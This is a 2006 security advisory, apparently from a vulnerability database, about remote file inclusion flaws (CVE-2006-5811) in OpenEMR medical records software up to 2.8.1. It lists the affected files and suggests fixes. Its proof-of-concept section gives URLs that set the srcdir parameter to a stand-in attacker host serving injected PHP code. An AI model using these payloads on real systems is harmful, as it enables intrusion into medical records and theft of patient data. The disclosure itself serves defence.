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Home arrow SecurityAlert Database

Arrow  Topic :

OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability


Arrow  SecurityAlert : 1844
Arrow  CVE : CVE-2006-5811
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Dedi Dwianto a.k.a the_day
Arrow  Published : 10.11.2006

Arrow  Affected Software : OpenEMR <=2.8.1



Arrow  Advisory Content :  

------------------------------------------------------------------------
-----------------------
[ECHO_ADV_60$2006] OpenEMR <=2.8.1 Multiple Remote File Inclusion
Vulnerability
------------------------------------------------------------------------
-----------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : November, 01nd 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv60-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : OpenEMR
version : <=2.8.1
URL : http://www.oemr.org

OpenEMR is Open Source electronic medical record and medical practice
management software.
OpenEMR is best described as a "system" of programs. The main OpenEMR
program consists of the electronic
health records and scheduling software.
OpenEMR can also be configured for insurance billing with FreeB, accounting
with SQL-Ledger,
and access controls with php-GACL.
------------------------------------------------------------------------
---

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in interface/billing/billing_process.php
-----------------------interface/billing/billing_process.php------------
-
....
<?
...
include_once("$srcdir/patient.inc");
include_once("$srcdir/billrep.inc");
...
----------------------------------------------------------

Input passed to the "$srcdir" parameter in billing_process.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

interface/billing/billing_report.php
interface/billing/billing_report_xml.php
interface/billing/print_billing_report.php
login.php
interface/batchcom/batchcom.php
interface/login/login.php
interface/main/main_info.php
interface/main/main.php
interface/new/new_patient_save.php
interface/practice/ins_search.php
interface/logout.php
interface/reports/custom_report_range.php
interface/reports/players_report.php
interface/reports/front_receipts_report.php
interface/usergroup/facility_admin.php
interface/usergroup/usergroup_admin.php
interface/usergroup/user_info.php
interface/usergroup/facility_admin.php
interface/usergroup/facility_admin.php
custom/import_xml.php

New Vulnerability in OpenEMR Version 2.8.1
----library/translation.inc.php----
<?
....
include_once($GLOBALS['srcdir'] . '/sql.inc');
....
?>

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[OpenEMR-path]/interface/billing/billing_process.php?s
rcdir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/interface/new/new_patient_save.php?srcd
ir=http://atacker.com/inject.txt?
http://target.com/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inj
ect.txt?
http://target.com/[OpenEMR-path]/library/translation.inc.php?GLOBALS[src
dir]=http://atacker.com/inject.txt?

Solution:
~~~~~~~

- Sanitize variable $srcdir affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

------------------------------------------------------------------------
---

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------

---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------




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